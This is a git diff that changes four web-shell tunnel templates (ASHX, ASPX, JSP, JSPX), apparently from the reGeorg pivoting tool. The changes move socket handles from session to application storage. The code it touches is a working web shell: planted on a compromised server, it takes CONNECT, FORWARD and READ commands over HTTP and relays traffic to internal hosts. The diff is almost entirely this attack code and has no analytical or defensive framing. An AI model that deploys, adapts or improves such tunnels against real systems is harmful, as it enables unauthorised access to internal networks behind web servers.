diff --git a/templates/tunnel.ashx b/templates/tunnel.ashx index b271ee5..e91acb6 100644 --- a/templates/tunnel.ashx +++ b/templates/tunnel.ashx @@ -43,7 +43,7 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); sender.Connect(remoteEP); sender.Blocking = false; - context.Session[mark] = sender; + context.Application[mark] = sender; context.Response.AddHeader("X-STATUS", "OK"); } catch (Exception ex) { context.Response.AddHeader("X-ERROR", "Failed connecting to target"); @@ -51,13 +51,13 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe } } else if (cmd == "DISCONNECT") { try { - Socket s = (Socket)context.Session[mark]; + Socket s = (Socket)context.Application[mark]; s.Close(); } catch (Exception ex) { } - context.Session.Remove(mark); + context.Application.Remove(mark); } else if (cmd == "FORWARD") { - Socket s = (Socket)context.Session[mark]; + Socket s = (Socket)context.Application[mark]; try { int buffLen = context.Request.ContentLength; byte[] buff = new byte[buffLen]; @@ -73,7 +73,7 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe } } else if (cmd == "READ") { try { - Socket s = (Socket)context.Session[mark]; + Socket s = (Socket)context.Application[mark]; int c = 0; byte[] readBuff = new byte[513]; try { @@ -93,7 +93,6 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe } } } else { - context.Session["l"]=true; context.Response.Write("Georg says, 'All seems fine'"); } } catch (Exception ex) { diff --git a/templates/tunnel.aspx b/templates/tunnel.aspx index b93de1d..3ffb0c4 100644 --- a/templates/tunnel.aspx +++ b/templates/tunnel.aspx @@ -42,7 +42,7 @@ Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); sender.Connect(remoteEP); sender.Blocking = false; - Session.Add(mark, sender); + Application.Add(mark, sender); Response.AddHeader("X-STATUS", "OK"); } catch (Exception ex) { Response.AddHeader("X-ERROR", "Failed connecting to target"); @@ -50,13 +50,13 @@ } } else if (cmd == "DISCONNECT") { try { - Socket s = (Socket)Session[mark]; + Socket s = (Socket)Application[mark]; s.Close(); } catch (Exception ex){ } - Session.Remove(mark); + Application.Remove(mark); } else if (cmd == "FORWARD") { - Socket s = (Socket)Session[mark]; + Socket s = (Socket)Application[mark]; try { int buffLen = Request.ContentLength; byte[] buff = new byte[buffLen]; @@ -72,7 +72,7 @@ } } else if (cmd == "READ") { try { - Socket s = (Socket)Session[mark]; + Socket s = (Socket)Application[mark]; int c = 0; byte[] readBuff = new byte[513]; try { @@ -91,7 +91,6 @@ } } } else { - Session["l"]=true; Response.Write("Georg says, 'All seems fine'"); } } catch (Exception ex) { diff --git a/templates/tunnel.jsp b/templates/tunnel.jsp index ff01ce3..39512ce 100644 --- a/templates/tunnel.jsp +++ b/templates/tunnel.jsp @@ -196,21 +196,21 @@ SocketChannel socketChannel = SocketChannel.open(); socketChannel.connect(new InetSocketAddress(target, port)); socketChannel.configureBlocking(false); - session.setAttribute(mark, socketChannel); + application.setAttribute(mark, socketChannel); response.setHeader("X-STATUS", "OK"); } catch (Exception e) { response.setHeader("X-ERROR", "Failed connecting to target"); response.setHeader("X-STATUS", "FAIL"); } } else if (cmd.compareTo("DISCONNECT") == 0) { - SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark); + SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ socketChannel.socket().close(); } catch (Exception e) { } - session.removeAttribute(mark); + application.removeAttribute(mark); } else if (cmd.compareTo("READ") == 0){ - SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark); + SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); @@ -227,7 +227,7 @@ } } else if (cmd.compareTo("FORWARD") == 0){ - SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark); + SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { int readlen = request.getContentLength(); diff --git a/templates/tunnel.jspx b/templates/tunnel.jspx index 854ca83..de936a2 100644 --- a/templates/tunnel.jspx +++ b/templates/tunnel.jspx @@ -196,21 +196,21 @@ SocketChannel socketChannel = SocketChannel.open(); socketChannel.connect(new InetSocketAddress(target, port)); socketChannel.configureBlocking(false); - session.setAttribute(mark, socketChannel); + application.setAttribute(mark, socketChannel); response.setHeader("X-STATUS", "OK"); } catch (Exception e) { response.setHeader("X-ERROR", "Failed connecting to target"); response.setHeader("X-STATUS", "FAIL"); } } else if (cmd.compareTo("DISCONNECT") == 0) { - SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark); + SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ socketChannel.socket().close(); } catch (Exception e) { } - session.removeAttribute(mark); + application.removeAttribute(mark); } else if (cmd.compareTo("READ") == 0){ - SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark); + SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); @@ -227,7 +227,7 @@ } } else if (cmd.compareTo("FORWARD") == 0){ - SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark); + SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { int readlen = request.getContentLength();